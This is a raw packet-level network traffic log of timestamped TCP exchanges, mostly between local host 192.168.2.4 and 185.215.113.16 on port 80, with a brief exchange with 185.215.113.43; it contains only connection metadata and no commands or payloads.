Dec 27, 2024 09:01:45.196614981 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.196662903 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.196667910 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.196708918 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.197804928 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.251755953 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.318751097 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.318876982 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.318979025 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.319338083 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.319413900 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.319466114 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.320593119 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.320734978 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.320780993 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.321857929 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.321942091 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.321989059 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.323052883 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.323157072 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.323204041 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.324318886 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.324402094 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.324453115 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.325536013 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.325659990 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.325706959 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.326781988 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.326894045 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.326946020 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.328025103 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.328176975 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.328222036 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.329267979 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.329386950 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.329433918 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.330527067 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.330624104 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.330670118 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.331785917 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.331909895 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.331958055 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.333017111 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.333148956 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.333195925 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.335844994 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.335864067 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.335876942 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.335890055 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.335927963 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.335973978 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.336747885 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.336849928 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.336899042 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.338006020 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.338099003 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.338150024 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.339243889 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.339359045 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.339406013 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.340506077 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.340583086 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.340629101 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.341711044 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.341820955 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.341877937 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.342997074 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.343106031 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.343149900 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.344197035 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.344296932 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.344342947 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.345472097 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.345622063 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.345676899 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.346740961 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.346828938 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.346880913 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.347925901 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.348058939 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.348110914 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.349195004 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.349342108 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.349386930 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.350447893 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.350565910 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.350614071 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.351665974 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.351783037 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.351829052 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.352896929 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.353013992 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.353059053 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.354144096 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.354254007 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.354300976 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.355417967 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.355576992 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.355628967 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.356698036 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.356847048 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.357285976 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.358089924 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.358109951 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.358153105 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.359167099 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.359271049 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.359325886 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.360383987 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.360485077 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.360529900 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.361637115 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.361740112 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.361809969 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.362871885 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.362998009 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.363056898 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.364125013 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.364288092 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.365379095 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.365386963 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.365457058 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.365560055 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.366614103 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.366723061 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.366774082 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.367896080 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.367986917 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.368091106 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.369132042 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.369234085 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.369283915 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.370315075 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.370465040 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.371577024 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.371618986 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.371697903 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.371738911 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.372836113 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.373007059 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.373064995 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.374067068 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.374170065 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.374408007 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.375391006 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.375485897 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.375524998 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.376575947 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.376666069 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.376737118 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.377791882 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.377892971 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.377935886 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.379062891 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.379208088 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.379252911 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.380357981 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.380399942 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.380451918 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.381552935 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.381660938 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.381704092 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.382785082 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.382890940 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.382940054 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.383954048 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.439110994 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.511001110 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.511137962 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.511189938 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.511820078 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.511883020 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.512707949 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.512752056 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.512811899 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.512851000 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.513789892 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.513883114 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.513930082 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.514960051 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.515063047 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.515104055 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.516201973 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.516335964 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.516382933 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.517424107 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.517533064 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.517575979 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.518624067 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.518743038 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.518790960 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.519844055 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.519979000 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.520165920 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.521070957 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.521189928 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.521241903 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.522294044 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.522413969 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.522454023 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.523504019 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.523605108 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.523648024 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.524720907 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.524843931 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.524888039 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.525944948 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.526051998 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.526096106 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.527180910 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.527292967 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.527337074 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.528393984 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.528480053 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.528587103 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.529601097 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.529712915 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.529756069 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.530831099 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.530967951 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.531012058 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.532048941 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.532195091 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.532241106 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.533268929 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.533405066 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.533448935 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.534512997 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.534605026 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.534651995 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.535713911 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.535830975 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.535876989 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.536926985 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.537034988 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.537080050 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.538165092 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.538311958 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.538357973 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.539418936 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.539669037 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.539712906 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.540597916 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.540714979 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.540760040 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.541834116 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.541930914 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.541976929 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.543077946 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.543188095 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.543277979 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.544277906 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.544368982 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.544523954 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.545474052 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.545589924 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.545748949 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.546693087 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.546827078 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.547508955 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.547935009 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.548052073 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.548093081 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.549309969 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.549408913 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.549464941 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.550367117 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.550457001 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.550529003 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.551593065 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.551712036 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.551759958 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.552808046 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.552936077 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.552978992 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.554020882 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.554147005 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.554296970 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.555284977 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.555380106 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.555458069 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.556483984 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.556504965 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.556582928 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.557194948 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.557706118 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.557786942 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.557940006 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.558919907 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.559025049 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.559117079 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.560112953 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.560234070 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.560278893 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.561342001 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.561474085 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.561568975 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.562582016 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.562722921 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.562766075 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.563774109 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.563901901 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.563963890 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.565031052 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.565167904 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.565212011 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.566241980 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.566318035 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.566384077 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.567465067 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.567672014 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.567745924 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.568698883 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.568828106 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.568958044 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.568969965 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.569900036 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.570040941 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.570084095 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.571124077 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.571261883 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.571306944 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.572494984 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.572575092 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.572653055 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.573592901 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.573709965 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.573753119 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.574749947 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.584997892 CET	80	49878	185.215.113.43	192.168.2.4
Dec 27, 2024 09:01:45.585062027 CET	49878	80	192.168.2.4	185.215.113.43
Dec 27, 2024 09:01:45.592330933 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.703675032 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.703691959 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.703706026 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.703721046 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.703739882 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.703769922 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.704123974 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.704207897 CET	80	49876	185.215.113.16	192.168.2.4
